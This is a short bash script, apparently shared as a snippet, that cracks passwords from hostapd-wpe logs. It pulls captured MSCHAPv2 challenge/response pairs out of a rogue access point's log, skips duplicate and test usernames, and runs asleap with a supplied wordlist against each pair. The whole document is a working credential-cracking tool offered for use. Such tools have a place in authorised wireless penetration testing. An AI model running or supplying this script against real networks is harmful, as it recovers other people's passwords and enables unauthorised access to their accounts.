Password cracker script for hostapd-wpe results

crack.sh

#!/usr/bin/env bash

# usage: crack.sh <log> <wordlist>

usernames=()
while read -r username; do
    read -r challenge
    read -r response
    if [ "$username" == "test" ]; then
        continue
    fi
    if [[ " ${usernames[*]} " =~ " ${username} " ]]; then
        continue
    else
        usernames+=("$username")
    fi
    echo "[~] Cracking $username"
    zcat -f $2 | asleap -C "$challenge" -R "$response" -W -
    if [ $? -eq 0 ]; then
        echo "[+] Password found."
    else
        echo "[-] Password not found."
    fi
    printf "\n"
done < <(grep --no-group-separator -E "challenge:" -A 1 -B 1 "$1" | awk -F ':\t' '{print $2}')